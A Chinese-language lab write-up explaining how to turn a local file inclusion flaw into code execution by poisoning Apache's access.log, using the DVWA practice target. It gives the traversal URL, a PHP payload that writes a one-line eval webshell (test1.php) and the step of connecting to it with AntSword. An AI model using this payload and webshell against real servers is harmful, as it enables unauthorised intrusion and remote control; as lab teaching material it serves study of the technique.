当某个PHP文件只存在本地包含漏洞,不存在远程包含漏洞,而却无法上传正常文件(无上传功能),这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中。
以Apache为例,每次成功访问的记录都会记录在access.log下,访问失败的记录会记录在error.log下,如图所示:
但打开之后却是一片空白,按理说是有很多记录的
打开httpd.conf文件,找到CustomLog "logs/access.log" common,发现前面也没有#注释
换成phpstudy2018来做实验吧,还是一样的去掉#注释,重启phpstudy,重新打开DVWA靶场就发现有记录了,再去找到phpstudy2018的apache目录下的access.log文件
(注意:access.log的文件内容是可以删掉的,只不过Ctrl S保存会让你另存为的,这里我删了,方便后续查看内容)
下面就以DVWA靶场为例:(Low难度,phpstudy2018,win11开启phpstudy服务,win7虚拟机访问)
没想到出现了allow_url_include功能没开启的情况:
打开php.ini文件,找到allow_url_include项,修改状态为On,再重启phpstudy:
访问http://10.4.27.70/<?php phpinfo();?>
查看access.log可以看到被二次编码了:
用burp抓包还原:
查看access.log文件可以看到已经正常记录了:
接下来就要用文件包含了,在地址栏中输入:
http://10.4.27.70/DVWA/vulnerabilities/fi/?page=../../../../Apache/logs/access.log
为什么相对路径是这样呢?
当前目录是vulnerabilities/fi
第一级返回vulnerabilities目录
第二级返回DVWA目录
第三级返回WWW目录
第四级返回PHPTutorial目录
第五级返回phpstudy2018目录
第六级返回E盘
E:\phpstudy2018\PHPTutorial\WWW\DVWA\vulnerabilities\fi
E:\phpstudy2018\PHPTutorial\Apache\logs\access.log
所以是../../../../Apache/logs/access.log(要加多一个../才行)
可以看到成功访问
编写一句话木马并用burp抓包改包:
<?php $file=fopen('test1.php','w'); fputs($file,'<?php @eval($_POST[123]);?>');?>
在地址栏中输入:
http://10.4.27.70/DVWA/vulnerabilities/fi/?page=../../../../Apache/logs/access.log
用文件包含漏洞触发一句话木马后是可以看到在/DVWA/vulnerabilities/fi/目录下生成了个test1.php文件
用中国蚁剑连接:
http://10.4.27.70/DVWA/vulnerabilities/fi/test1.php
成功利用中间件日志包含漏洞!